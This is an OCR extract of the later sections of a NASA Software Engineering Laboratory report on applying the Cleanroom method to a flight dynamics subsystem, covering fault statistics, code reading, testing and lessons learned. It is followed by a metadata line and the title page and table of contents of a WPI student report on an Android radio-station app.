<td>1.0%</td> <td></td> <td>5.0%</td> <td>0.0%</td> <td>12.0%</td> <td>4.0%</td> </tr> <tr> <td>Data Declaration</td> <td>45.0%</td> <td></td> <td>19.0%</td> <td>0.0%</td> <td>5.0%</td> <td>25.0%</td> </tr> <tr> <td>Data Use</td> <td>0.0%</td> <td></td> <td>32.0%</td> <td>0.0%</td> <td>23.0%</td> <td>19.0%</td> </tr> <tr> <td>Computation</td> <td>10.0%</td> <td></td> <td>9.0%</td> <td>0.0%</td> <td>11.0%</td> <td>9.0%</td> </tr> <tr> <td>Displays</td> <td>0.0%</td> <td></td> <td>6.0%</td> <td>0.0%</td> <td>3.0%</td> <td>4.0%</td> </tr> <tr> <td>Total Number of Faults</td> <td>542.0*</td> <td></td> <td>883.0</td> <td>74.0</td> <td>175.0</td> <td>1,674.0</td> </tr> <tr> <td>Percent of Total Faults Found</td> <td>32.0%</td> <td></td> <td>53.0%</td> <td>4.5%</td> <td>10.5%</td> <td></td> </tr> </tbody> </table> *Projected 5.4 CODING The more thorough design process allowed the developers to concentrate solely on coding the system during the coding stage, without major impacts due to an incomplete design. Through the first few builds, slightly more than half the effort in the coding phase was spent writing code, with the rest in code reading. More time was shifted to reading code as failures were found by the testers and corrected by the developers, who were no longer writing as much new code. The final relationship was that 48 percent of the total coding effort was expended in code writing, and 52 percent was spent in code reading. The code review process was similar to the design review process. Strict coding guidelines were established and adhered to by the developers, although opinions regarding the content and flexibility of the guidelines varied among the development team. This standardization aided the code reading process by forcing all code to appear similar in style, and made the process of mapping the code to the PDL easier. Related modules were coded and listings given to the readers along with necessary references. The readers read the code independently in a sequential manner, marked faults, and suggested corrections. Code was returned to the developer, corrected, and given back to the readers to be reread. Code was ready to be delivered to the testers only when no faults were found by the readers. Most modules required two or three iterations of the code reading process. Redundant sequential code reading resulted in significant numbers of faults being found and corrected before the code was actually tested. The readers found and corrected an average of 30 executable faults/KSLOC while code reading. An additional 10.4 nonexecutable faults/KSLOC were found and corrected. Nonexecutable faults are faults found in the commentary for the procedure, which could not have been found by the testers. These corrections helped to make prologs more consistent and complete in relation to the code, and should make maintenance efforts easier. As with the design reviews, these numbers are lower bounds, as each developer found and corrected additional faults before and after his code was read by the readers. Surprisingly, of the 30 executable faults/KSLOC found by the readers, only 28.5 percent were found by both readers, with no consistent pattern between readers in terms of relative effectiveness. This leads to the conclusion that for this project two readers were more effective than one would have been, and that sequential code reading allowed readers to read the code in different ways. One of the early concerns for the project was the impact of specification changes, a common occurrence in the FDD environment. However, this concern was never any more of a factor than is typically found in other SEL projects. Subjectively, the developers felt making changes of any type was actually easier in the Cleanroom environment due to the detail and accuracy of the PDL. All software changes were reverified, and appropriate PDL updates were made and checked. It should also be noted that all reused modules for this experiment were reused in their entirety. Any reusable module that required changes was rewritten to follow the design and coding standards and passed through the review process as a new routine. The actual distribution of faults by type, along with the total number of faults and percentage per activity, is shown in Table 5-1, column B. Qualitatively, the developers had high confidence in their code. These results also confirm the effectiveness of reading, as found elsewhere in the literature (References 3 and 9). 5.5 PRETEST As was shown in Figure 3-1, the testing phase ran concurrently with the development phase. The testing process began with a requirements analysis. This activity was performed with the developers, to enable the specifications to be reviewed from two different perspectives and to promote a common understanding of the specifications by both groups. Following the requirements analysis, interaction between the testers and developers ended, and did not resume until the actual testing activities began. In addition to studying the requirements, pretest activities included identifying potential test items, determining system usage profiles, preparing test data, generating test cases, mapping test items to the test cases, and generating expected results for each test case. The pretest phase involved 32 percent of the total testing effort. Test items defined the lowest level of functionality to be evaluated during the testing process. A test item consisted of one or more functions that mapped directly to the specifications. Identification of the specific test items was a subjective process that relied on the testers' impressions concerning the level of functionality that could be verified. Each test item was then mapped to the build where it would be available for validation. As previously stated, the test team was directly involved in determining the content of each build, so an attempt was made to reasonably spread test items throughout all builds. These activities were simplified by the functional orientation of the specifications. Alterations to the specifications, however, which continued throughout the testing activity, resulted in changes to the test items identified. A great deal of care was needed to ensure a mapping of the test items to the specifications throughout the testing effort. While no interaction was permitted between the testers and developers during pretest activities, it was later determined that communication with the developers may have been useful in defining the type and level of diagnostic output desired to support the testing activities. The manner in which the system was expected to be used by an operator (the usage profile) was determined by direct observation of operators executing similar systems and by previous experiences of the testers. This information, combined with specification outlines on user interaction with the system, was used in an attempt to develop a statistical profile of system inputs and options. These distributions were then used as the basis for generating test cases to closely simulate actual operator use of the system. While test cases were generated based on usage profiles, it was later determined that the variation from test case to test case was minimal. This was due to the limited number of inputs required by the system (few option selections), the types of inputs required (strong dependencies on data and results from outside interfaces), and the low level of user interaction required by the system (the sequential operation of the system). Because of the limited variation in the test cases, many were later abandoned during the testing activities, as they would have given little additional insight about the overall system quality. Once test cases were generated for the system, they were mapped to the subset of test items associated with the build being evaluated. Based on the total test item coverage by all test cases, the testers were free to generate test cases independent of the system usage profile. These test cases isolated critical test items not covered in the other test cases, or test items that may rarely be exercised but are nonetheless critical. The final pretest activities included preparation of test data for the test cases and generation of expected results for the test items in each test case. Because the Cleanroom build schedule required data earlier than in traditional development efforts, the unavailability of the necessary data forced these activities to be postponed until the test cases were executed. 5.6 TEST The remaining 68 percent of the testing effort comprised three distinct activities: configuration control, system integration, and test case execution/verification. Traditional SEL configuration control practices were followed by maintaining a controlled library of all source code for the system on the host machine. However, because developers were not permitted to access the mainframe, additional configuration control responsibilities included the maintenance of a separate controlled library on a PC. The mainframe control library was used to integrate the system, while the PC control library was used to distribute components back to the developers, upon their request, for modification. After being placed into the PC control library, new or modified components were uploaded to the mainframe control library. The extra effort required to manage two libraries was minimal but did require careful procedures to ensure consistency between the two. The test team was also required to maintain a library of stubs on the mainframe for use in the system integration. The system integration activity was viewed as a two-step process. The first step involved compiling all new and modified components as they were received and uploaded by the testers. The results of this compilation were the first opportunity to assess the effectiveness of the development method. Of the 101 FORTRAN subroutines, which averaged 258 SLOC, 62 percent compiled on their first attempt. Among those that failed, all but one compiled on the second try. Although all faults were obviously due to incorrect FORTRAN usage, over 90 percent were directly attributable to typographical mistakes such as missing commas or misspelled variable names. As might be expected, BLOCK DATA routines displayed greater success. Ninety-one percent compiled on the initial attempt, and all that failed the first time compiled on the second attempt. Overall, 70 percent of all compilable units compiled successfully on the first try. This result compares favorably to the 63 percent figure of first compilation success for the first increment of COBOL/SF at IBM-SID. The second step of the system integration process was the rebuilding of the system to support test case execution. The need to completely rebuild the system from scratch each time, rather than linking in only the modified components, became evident early in the testing effort. This was due to a dependency on other development groups, separate from the CFADS effort, for common portions of the system. Communication was often inadequate and occasionally resulted in outdated versions of the common components being included in the CFADS integration process. To promote rapid turnaround when identifying, isolating, and correcting faults in the system, the load module was rebuilt frequently, often two or more times per week. There was also a greater dependence on system stubs, since the entire system was to be integrated and executed much earlier in the development process than would be required during a traditional development effort. This required the test team to maintain the stubs library on the host and include it in the system integration process. Test case execution and verification accounted for the majority of the test team's efforts. Activities consisted of preparing test data, generating expected results, executing test cases, analyzing and reporting results, and supporting the development team's fault isolation efforts. As stated earlier, test data preparation and expected results generation were postponed until test activities began. For the generation of simulated test data, the test team relied heavily on an external system developed solely for that purpose. Because data were needed much earlier in the Cleanroom effort than in traditional SEL efforts, there were conflicts with the development schedule of the data simulation system. This resulted in requests for data which were frequently only partially satisfied or exhibited analytic inconsistencies throughout testing activities. The impact to the testers was most strongly felt in the difficulties caused in generating expected results prior to test case execution, and the inability to exercise all test items associated with a test case. The test team executed the system based on a test case setup. During execution, a log was kept that identified the run, documented alterations to the test case, and described abnormalities observed. All outputs generated by the system, including copies of the interactive screens displayed, were collected and attached to the log for future analysis. Alterations to the test cases were required when there were deficiencies in the test data or in the functionality of the system, or when modifications to the specifications affected the mapping of test items. Functional deficiencies were primarily the result of software that was designed to provide a certain level of functionality but failed to do so because of source code errors or limitations with system interfaces. The limitations often were linked to conflicts with the schedule of the interfacing group responsible for developing those components. To expedite the testing process, the test team adjusted cases appropriately to test around known deficiencies. As these problems were addressed, the required functionality was added within the system. The net result for the testers was an inability to execute test cases as specified and to exercise various test items associated with a test case. The final solution was to abandon many of the test cases in the interest of the project's schedule and resources (possibly justified, since there was little variation from test case to test case), and to postpone until the last build of the system the verification of many of the test items. In several instances, it was not until then that the required data became available, the required functionality was provided, or the modifications to the specifications were completely understood to allow for accurate assessment of the code. Once a test case had been executed, the results were analyzed and failures reported to the developers. Analysis of the results required the generation of expected results for each test item and a comparison with the computed results. Generation of expected results was usually quite tedious and time consuming. The comparison of expected results with computed results occasionally resulted in requests from the testers to modify the diagnostic output in the system. A log kept during analysis activities documented any concerns, questions, and problems identified and provided a compilation of which test items passed, failed, or could not be verified. In addition, a test item status sheet was maintained to track the status of each test item. All failures were documented using a Software Failure Report (SFR) form, which identified the test case run and described the observed failure. To expedite the process, developers were often informed of a run's results informally and potential faults were investigated prior to the generation of the SFRs. When a potential failure was identified, the developers attempted to isolate the problem and define a solution, with assistance from the testers as required. On occasion, developers requested additional runs of the system to assist in their fault isolation efforts, and on a single occasion it became necessary to build a test version of the system which was modified directly to isolate the cause of a failure. Several problems were also traced to the external interfacing groups. The testing process uncovered 3.3 errors/KSLOC. Errors represent the number of software changes attributed to error corrections on data collection forms. Errors are tracked only for changes that occur after code is placed under configuration control. These errors resulted in a total of 175 faults, whose distribution by type are listed in column D of Table 5-1. Most faults were identified and corrected the day the failure was reported, although some took several days to correct, and a few took weeks to correct. Once a fault was isolated, the first correction implemented typically resulted in the removal of the failure. As mentioned earlier, while a fault remained in the system, an attempt was made to test around the problem. After correction or modification was made to the system, test cases or variations of test cases were executed to verify the modification. In the case of a failure correction, the test case that caused the failure was reexecuted. For other modifications due to specification changes, test cases were usually created by the testers to exercise the specific test items affected. Testing activities continued until all test items were verified. 5-8 The fundamental finding was that the Cleanroom methodology could be used successfully in the FDD environment, as the CFADS team demonstrated. The completed system contained approximately 31 KSLOC divided into 101 FORTRAN subroutines, 33 BLOCK DATA's, 33 COMMON blocks, and 2 NAMELIST's. Combined with the 2.9 KSLOC for the graphic displays, which were not developed using Cleanroom, the entire CFADS totaled 34 KSLOC. Figure 6-1 compares the growth history of the CFADS with similar systems developed using the traditional SEL approach. As a result of the increased design effort, code appeared later and system growth progressed much more quickly. Because of the incremental development and code reading processes, which forced related modules to be read by the developers and submitted to the testers together, the SEL Cleanroom growth in Figure 6-1 appeared as a step function. The personnel effort distribution during the development process for the Cleanroom project is somewhat different than the effort expended on other FDD projects. As Figure 6-2 shows, the Cleanroom effort spent more time in Design and Other (management, meetings, etc.) activities and less time in the Coding area. It should be noted again that almost one-third of the Testing effort was spent on pretest activities, which resulted in only 18 percent of the entire project's effort being spent actually executing test cases and finding and fixing defects. Productivity for the project is approximately 4.9 SLOC per staff hour, from predesign through system test. This number compares favorably with the average of 2.9 SLOC per staff hour typically found in this environment. During the testing phase, the error rate of the system was 3.3 errors/KSLOC, compared to the 6 errors/KSLOC typically found in the FDD environment. In actuality, the Cleanroom error figure is artificially high for comparison purposes, as some errors that would typically have been found during unit test when using another methodology are not encountered until the system test process when using Cleanroom. Typically, the SEL does not formally track errors found during unit testing. In analyzing the number of faults found during the various activities of the life cycle, 85 percent were found and corrected before any code came under configuration control. Table 5-1 showed the fault type breakdown by activity. Additionally, nearly 90 percent of all faults were removed before the first test case was executed. The majority of the faults found throughout development and test were data declaration problems, followed in frequency by data use and interface issues. Figure 6-1. Growth of System in Calendar Time Through System Testing Figure 6-2. Effort Comparison Between the SEL Cleanroom Project and Typical SEL Projects Through System Testing. The early concerns about using Cleanroom on the project and in the FDD environment did not limit Cleanroom's applicability. 1. The team's inexperience in the application area was countered by a more complete Requirements Analysis process. The increased early emphasis enhanced the development and test teams' familiarization with the project domain. 2. The impact of an unstable requirements and specifications environment was lessened by a concentrated effort in the team review processes, which encouraged detailed PDL and accurate inline code documentation, and made later stages of the Cleanroom methodology less prone to the effect of requirements and specifications changes. 3. Coordination with the main AGSS, which was developed without Cleanroom, did present some minor problems. Since some software was common to both groups, the Cleanroom team was directly affected when modifications were made or errors were discovered. Furthermore, because the Cleanroom team accessed the common libraries earlier in the development phases, they were often the first group to uncover an error, and thereby felt the greatest impact. Additionally, communication between the groups was not as frequent or thorough as necessary during the initial phases of the projects. Formal mechanisms to aid the communication process were added and proved helpful. The Cleanroom team also needed to make some adjustments in the format of their design materials in order to participate in the combined formal design reviews. 4. The application of methodology and team structure seemed to have minimal impact on the project personnel's level of professional satisfaction. While team members did note that there was an adjustment in the importance of activities, they also indicated that the overall success of the project was still of primary interest. Overall, the psychological impact of the methodology was not a factor in the project's degree of success. Preliminary analysis of the first two goals of the experiment, understanding the Cleanroom process and product, has been performed. Additional analysis with respect to these goals remains. The results of this analysis will be used to refine the SEL Cleanroom model for use on future projects. This packaging will attempt to incorporate the successes in this project, while learning from failures or mistakes made in the planning or execution of the methodology's application. Finally, the refinement must be based upon the concepts that can be applied effectively to the SEL Cleanroom model. For example, previous studies indicate that reading by stepwise abstraction is more consistent with the methodology and may prove, with proper skill development, more effective. A redesign of the entire system may permit a broader application of state machines. The result of this process will be an appropriate SEL Cleanroom model that is more effective in the environment. Analysis of the Cleanroom case study shows that the methodology can be applied in this environment. There are indications of an increase in developer productivity and product quality. Compared to typical SEL activities, Cleanroom produced a lower failure rate (3.3 errors/KSLOC versus 6 errors/KSLOC), and there are indications of a more complete and consistent set of inline code documentation. In terms of effort, there is a different distribution of phase effort activity (more time in Design and meetings, and less time in Coding) and a different growth profile in terms of lines of code developed (code appears much later). The Cleanroom case study generated important lessons for application on future projects. It is clear that the development effort is a true team effort, and all team members must be able to function as such. Additionally, there is visible benefit in the adoption of strict design and coding standards for all development team members to follow. These standards should be defined before a project begins, reducing debate among team members on personal preferences. It appears that the actual standards are not as significant as the consistent application of the standards by all participants. It is also recognized that the test team and development team, while performing distinct functions, need frequent communication. Both groups need to be aware of specification changes, and the developers require input from the testers regarding desired diagnostic data for test item validation. Configuration control and the transfer of modules between teams also requires a well-coordinated effort. Subjectively, project personnel felt that the activities associated with the methodology are quite similar to activities typically done in the FDD environment. The difference in using Cleanroom is evident in the goals and discipline level associated with the activities. All members of both teams indicated that they would be willing to use the methodology on future projects. There are also a few specific issues that will affect the refinement of the methodology in the FDD environment. Since developers do not have access to the mainframe, they must rely heavily on their personal knowledge of the development environment. Situations may arise where more time is expended tracking down a solution through documentation or a colleague's recommendation than would have been spent in a trial-and-error session on the mainframe. It is also unclear whether the design phase should be completed for all builds before any coding begins (to isolate design inconsistencies), or if the design and code for each build should be completed before design on the next build commences (to produce testable software earlier). More analysis of the Cleanroom project is planned, as well as applications on future systems. Upon completion of acceptance testing, the appropriate final adjustments to the data on effort, productivity, and quality will be made. Compari- sions between the Cleanroom process and products and the process and products typically used in the FDD will continue. All the data gathered will be further analyzed to reach a better understanding of the causes of the results and the con- texts in which the data should be interpreted. An appropriately tailored Clean- room model for the FDD environment will evolve using the results of this experience as a basis. <table> <thead> <tr> <th>Acronym</th> <th>Definition</th> </tr> </thead> <tbody> <tr> <td>AGSS</td> <td>Attitude Ground Support System</td> </tr> <tr> <td>CFADS</td> <td>Coarse/Fine Attitude Determination Subsystem</td> </tr> <tr> <td>COBOL/SF</td> <td>COBOL Structuring Facility</td> </tr> <tr> <td>CPU</td> <td>central processing unit</td> </tr> <tr> <td>FDD</td> <td>Flight Dynamics Division</td> </tr> <tr> <td>GSFC</td> <td>Goddard Space Flight Center</td> </tr> <tr> <td>IBM-SID</td> <td>IBM Systems Integration Division</td> </tr> <tr> <td>IC</td> <td>integrated circuit</td> </tr> <tr> <td>KSLOC</td> <td>thousand source lines of code</td> </tr> <tr> <td>MTTF</td> <td>mean time to failure</td> </tr> <tr> <td>MVS</td> <td>multiple virtual storage</td> </tr> <tr> <td>NASA</td> <td>National Aeronautics and Space Administration</td> </tr> <tr> <td>PC</td> <td>personal computer</td> </tr> <tr> <td>PDL-</td> <td>program design language</td> </tr> <tr> <td>SEL</td> <td>Software Engineering Laboratory</td> </tr> <tr> <td>SFR</td> <td>Software Failure Report</td> </tr> <tr> <td>SLOC</td> <td>source lines of code</td> </tr> <tr> <td>UARS</td> <td>Upper Atmosphere Research Satellite</td> </tr> </tbody> </table> REFERENCES 6. ---, TR. 86.0003, *Software Validation in the Cleanroom Development Method*, M. Dyer, August 19, 1983 12. IBM, Systems Integration Division, TR. 86.0008, *Cleanroom Testcase Generator*, J. F. Gerber, June 18, 1986 R-1 The technical papers, memorandums, and documents listed in this bibliography are organized into two groups. The first group is composed of documents issued by the Software Engineering Laboratory (SEL) during its research and development activities. The second group includes materials that were published elsewhere but pertain to SEL activities. SEL-ORIGINATED DOCUMENTS SEL-76-001, Proceedings From the First Summer Software Engineering Workshop, August 1976 SEL-77-002, Proceedings From the Second Summer Software Engineering Workshop, September 1977 SEL-77-004, A Demonstration of AXES for NAVPAK, M. Hamilton and S. Zeldin, September 1977 SEL-77-005, GSFC NAVPAK Design Specifications Languages Study, P. A. Scheffer and C. E. Velez, October 1977 SEL-78-005, Proceedings From the Third Summer Software Engineering Workshop, September 1978 SEL-78-007, Applicability of the Rayleigh Curve to the SEL Environment, T. E. Mapp, December 1978 SEL-79-005, Proceedings From the Fourth Summer Software Engineering Workshop, November 1979 SEL-80-005, A Study of the Musa Reliability Model, A. M. Miller, November 1980 SEL-80-006, Proceedings From the Fifth Annual Software Engineering Workshop, November 1980 SEL-81-012, The Rayleigh Curve as a Model for Effort Distribution Over the Life of Medium Scale Software Systems, G. O. Picasso, December 1981 SEL-81-013, Proceedings From the Sixth Annual Software Engineering Workshop, December 1981 SEL-81-014, Automated Collection of Software Engineering Data in the Software Engineering Laboratory (SEL), A. L. Green, W. J. Decker, and F. E. McGarry, September 1981 SEL-81-101, Guide to Data Collection, V. E. Church, D. N. Card, F. E. McGarry, et al., August 1982 SEL-82-004, Collected Software Engineering Papers: Volume 1, July 1982 SEL-82-007, Proceedings From the Seventh Annual Software Engineering Workshop, December 1982 SEL-82-008, Evaluating Software Development by Analysis of Changes: The Data From the Software Engineering Laboratory, V. R. Basili and D. M. Weiss, December 1982 SEL-82-102, FORTRAN Static Source Code Analyzer Program (SAP) System Description (Revision 1), W. A. Taylor and W. J. Decker, April 1985 SEL-82-105, Glossary of Software Engineering Laboratory Terms, T. A. Babst, F. E. McGarry, and M. G. Rohleder, October 1983 SEL-82-806, Annotated Bibliography of Software Engineering Laboratory Literature, M. Buhler and J. Valett, November 1989 SEL-83-007, Proceedings From the Eighth Annual Software Engineering Workshop, November 1983 SEL-83-106, Monitoring Software Development Through Dynamic Variables (Revision 1), C. W. Doerflinger, November 1989 SEL-84-003, Investigation of Specification Measures for the Software Engineering Laboratory (SEL), W. W. Agresti, V. E. Church, and F. E. McGarry, December 1984 SEL-84-004, Proceedings From the Ninth Annual Software Engineering Workshop, November 1984 B-3 SEL-85-006, *Proceedings From the Tenth Annual Software Engineering Workshop*, December 1985 SEL-87-008, *Data Collection Procedures for the Rehosted SEL Database*, G. Heller, October 1987 SEL-87-010, *Proceedings From the Twelfth Annual Software Engineering Workshop*, December 1987 SEL-88-002, Collected Software Engineering Papers: Volume VI, November 1988 SEL-88-004, Proceedings of the Thirteenth Annual Software Engineering Workshop, November 1988 SEL-89-005, Lessons Learned in the Transition to Ada From FORTRAN at NASA/Goddard, C. Brophy, November 1989 SEL-89-007, Proceedings of the Fourteenth Annual Software Engineering Workshop, November 1989 SEL-90-002, The Cleanroom Case Study in the Software Engineering Laboratory: Project Description and Early Analysis, S. Green et al., March 1990 SEL-RELATED LITERATURE B-5 B-6 National Aeronautics and Space Administration (NASA), NASA Software Research Technology Workshop (Proceedings), March 1980 B-11 NOTES: 1 This article also appears in SEL-82-004, *Collected Software Engineering Papers: Volume I*, July 1982. 2 This article also appears in SEL-83-003, *Collected Software Engineering Papers: Volume II*, November 1983. 4 This article also appears in SEL-86-004, *Collected Software Engineering Papers: Volume IV*, November 1986. 5 This article also appears in SEL-87-009, *Collected Software Engineering Papers: Volume V*, November 1987. 6 This article also appears in SEL-88-002, *Collected Software Engineering Papers: Volume VI*, November 1988.
{"Source-Url": "https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19910008271.pdf", "len_cl100k_base": 14780, "olmocr-version": "0.1.50", "pdf-total-pages": 62, "total-fallback-pages": 0, "total-input-tokens": 120161, "total-output-tokens": 23527, "length": "2e13", "weborganizer": {"__label__adult": 0.0004019737243652344, "__label__art_design": 0.0004138946533203125, "__label__crime_law": 0.0002701282501220703, "__label__education_jobs": 0.003437042236328125, "__label__entertainment": 7.534027099609375e-05, "__label__fashion_beauty": 0.000213623046875, "__label__finance_business": 0.0004146099090576172, "__label__food_dining": 0.0003039836883544922, "__label__games": 0.0007200241088867188, "__label__hardware": 0.0009975433349609375, "__label__health": 0.0003390312194824219, "__label__history": 0.0003767013549804687, "__label__home_hobbies": 0.00013816356658935547, "__label__industrial": 0.0004422664642333984, "__label__literature": 0.00032067298889160156, "__label__politics": 0.000270843505859375, "__label__religion": 0.0003786087036132813, "__label__science_tech": 0.01044464111328125, "__label__social_life": 0.0001264810562133789, "__label__software": 0.004932403564453125, "__label__software_dev": 0.9736328125, "__label__sports_fitness": 0.0003159046173095703, "__label__transportation": 0.0005831718444824219, "__label__travel": 0.00023853778839111328}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 94919, 0.04569]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 94919, 0.39692]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 94919, 0.93168]], "google_gemma-3-12b-it_contains_pii": [[0, 114, false], [114, 114, null], [114, 230, null], [230, 230, null], [230, 1698, null], [1698, 1698, null], [1698, 2002, null], [2002, 2002, null], [2002, 2854, null], [2854, 2854, null], [2854, 5029, null], [5029, 6800, null], [6800, 8221, null], [8221, 8985, null], [8985, 10020, null], [10020, 10020, null], [10020, 13060, null], [13060, 13106, null], [13106, 15923, null], [15923, 15923, null], [15923, 18421, null], [18421, 21258, null], [21258, 21306, null], [21306, 21400, null], [21400, 23544, null], [23544, 25657, null], [25657, 28333, null], [28333, 30569, null], [30569, 32205, null], [32205, 32681, null], [32681, 35421, null], [35421, 38325, null], [38325, 40500, null], [40500, 43500, null], [43500, 46665, null], [46665, 49673, null], [49673, 53143, null], [53143, 56503, null], [56503, 59129, null], [59129, 59199, null], [59199, 59312, null], [59312, 62222, null], [62222, 65112, null], [65112, 65612, null], [65612, 67173, null], [67173, 67173, null], [67173, 69188, null], [69188, 70104, null], [70104, 71896, null], [71896, 73901, null], [73901, 76029, null], [76029, 77826, null], [77826, 79842, null], [79842, 82185, null], [82185, 84639, null], [84639, 87039, null], [87039, 89577, null], [89577, 91988, null], [91988, 94139, null], [94139, 94919, null], [94919, 94919, null], [94919, 94919, null]], "google_gemma-3-12b-it_is_public_document": [[0, 114, true], [114, 114, null], [114, 230, null], [230, 230, null], [230, 1698, null], [1698, 1698, null], [1698, 2002, null], [2002, 2002, null], [2002, 2854, null], [2854, 2854, null], [2854, 5029, null], [5029, 6800, null], [6800, 8221, null], [8221, 8985, null], [8985, 10020, null], [10020, 10020, null], [10020, 13060, null], [13060, 13106, null], [13106, 15923, null], [15923, 15923, null], [15923, 18421, null], [18421, 21258, null], [21258, 21306, null], [21306, 21400, null], [21400, 23544, null], [23544, 25657, null], [25657, 28333, null], [28333, 30569, null], [30569, 32205, null], [32205, 32681, null], [32681, 35421, null], [35421, 38325, null], [38325, 40500, null], [40500, 43500, null], [43500, 46665, null], [46665, 49673, null], [49673, 53143, null], [53143, 56503, null], [56503, 59129, null], [59129, 59199, null], [59199, 59312, null], [59312, 62222, null], [62222, 65112, null], [65112, 65612, null], [65612, 67173, null], [67173, 67173, null], [67173, 69188, null], [69188, 70104, null], [70104, 71896, null], [71896, 73901, null], [73901, 76029, null], [76029, 77826, null], [77826, 79842, null], [79842, 82185, null], [82185, 84639, null], [84639, 87039, null], [87039, 89577, null], [89577, 91988, null], [91988, 94139, null], [94139, 94919, null], [94919, 94919, null], [94919, 94919, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 94919, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 94919, null]], "pdf_page_numbers": [[0, 114, 1], [114, 114, 2], [114, 230, 3], [230, 230, 4], [230, 1698, 5], [1698, 1698, 6], [1698, 2002, 7], [2002, 2002, 8], [2002, 2854, 9], [2854, 2854, 10], [2854, 5029, 11], [5029, 6800, 12], [6800, 8221, 13], [8221, 8985, 14], [8985, 10020, 15], [10020, 10020, 16], [10020, 13060, 17], [13060, 13106, 18], [13106, 15923, 19], [15923, 15923, 20], [15923, 18421, 21], [18421, 21258, 22], [21258, 21306, 23], [21306, 21400, 24], [21400, 23544, 25], [23544, 25657, 26], [25657, 28333, 27], [28333, 30569, 28], [30569, 32205, 29], [32205, 32681, 30], [32681, 35421, 31], [35421, 38325, 32], [38325, 40500, 33], [40500, 43500, 34], [43500, 46665, 35], [46665, 49673, 36], [49673, 53143, 37], [53143, 56503, 38], [56503, 59129, 39], [59129, 59199, 40], [59199, 59312, 41], [59312, 62222, 42], [62222, 65112, 43], [65112, 65612, 44], [65612, 67173, 45], [67173, 67173, 46], [67173, 69188, 47], [69188, 70104, 48], [70104, 71896, 49], [71896, 73901, 50], [73901, 76029, 51], [76029, 77826, 52], [77826, 79842, 53], [79842, 82185, 54], [82185, 84639, 55], [84639, 87039, 56], [87039, 89577, 57], [89577, 91988, 58], [91988, 94139, 59], [94139, 94919, 60], [94919, 94919, 61], [94919, 94919, 62]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 94919, 0.1125]]}
olmocr_science_pdfs
2024-12-02
2024-12-02
b2cbb44e42b24f6533d0260753c404be554247b9
May 2014 Smartphone Radio Application Edison Jimenez Worcester Polytechnic Institute Seth Martin Crampton Worcester Polytechnic Institute Follow this and additional works at: https://digitalcommons.wpi.edu/mqp-all Repository Citation This Unrestricted is brought to you for free and open access by the Major Qualifying Projects at Digital WPI. It has been accepted for inclusion in Major Qualifying Projects (All Years) by an authorized administrator of Digital WPI. For more information, please contact digitalwpi@wpi.edu. Smartphone Radio Application A Major Qualifying Project Report Submitted to the Faculty of Worcester Polytechnic Institute In partial fulfillment of the requirements for the Degree of Bachelor of Science Submitted on May 6th, 2014 Written by Edison Jimenez Seth Crampton Approved by Professor Emmanuel Agu Professor Scott Barton # Table of Contents Table of Contents.......................................................................................................................... 2 List of Figures .................................................................................................................................... 4 Abstract ............................................................................................................................................ 5 Chapter 1: Introduction ....................................................................................................................... 6 Chapter 2: Background and Related Work ......................................................................................... 7 2.1 Analysis of GQP Reports ............................................................................................................. 7 2.1.1 GQP #105 - WICN Mobile Application Market Research............................................... 7 2.1.2 GQP #104 - Strategic Marketing Plan for Collaboration Between WICN Public Radio and WPI ........................................................................................................................................ 7 2.2 Analysis of Similar Applications ............................................................................................... 8 2.2.1 TuneIn ................................................................................................................................. 8 2.2.2 WayFM ............................................................................................................................... 9 2.2.3 US Massachusetts Radio ..................................................................................................... 9 2.2.4 Google Play Music ............................................................................................................. 11 2.2.5 Pandora .............................................................................................................................. 12 2.2.6 iHeartRadio ....................................................................................................................... 13 2.2.7 WGBH Boston Radio ......................................................................................................... 14 2.2.8 KEXP Radio ....................................................................................................................... 16 Chapter 3: Methodology .................................................................................................................... 17 3.1 Development Platforms ............................................................................................................. 17 3.2 Application Design ................................................................................................................... 17 3.3 Current Radio Broadcast Stream ............................................................................................. 21 3.4 Real Time Track Listing Setback ............................................................................................. 21 3.5 Android Audio Standards ........................................................................................................ 21 3.6 Adding Drupal Functionality ................................................................................................... 22 3.7 Application Testing .................................................................................................................. 23 Chapter 4: Implementation ............................................................................................................... 24 4.1 Application Code ...................................................................................................................... 24 4.2 Application Structure .............................................................................................................. 24 4.3 Navigation Menu ..................................................................................................................... 27 4.4 Threading the Stream .............................................................................................................. 28 4.5 Fixing Constant Data Retrieval .............................................................................................. 29 4.6 Drupal Data Retrieval ............................................................................................................. 30 Chapter 5: Results and Discussion .................................................................................................. 32 5.1 Application Survey Results ..................................................................................................... 32 5.2 WICN Staff Application Review .............................................................................................. 33 Chapter 6: Conclusion and Future Work ......................................................................................... 34 6.1 Development Limitations 6.2 Application Improvements References Appendix A: Application Survey List of Figures Figure 1: TuneIn Android Application ................................................................. 8 Figure 2: WayFM Android Application ................................................................. 9 Figure 3: US Massachusetts Radio Android Application ................................. 10 Figure 4: Google Play Music Android Application ........................................... 11 Figure 5: Pandora Android Application ............................................................. 12 Figure 6: iHeartRadio Android Application ....................................................... 13 Figure 7: WGBH iOS Application ................................................................. 14 Figure 8: WGBH iOS Application (Podcast) .................................................... 15 Figure 9: KEXP Radio iOS Application ............................................................. 16 Figure 10: Initial Android Design for WICN Mobile Application ...................... 18 Figure 11: WICN Android Application Screenshot Flow .................................. 19 Figure 12: 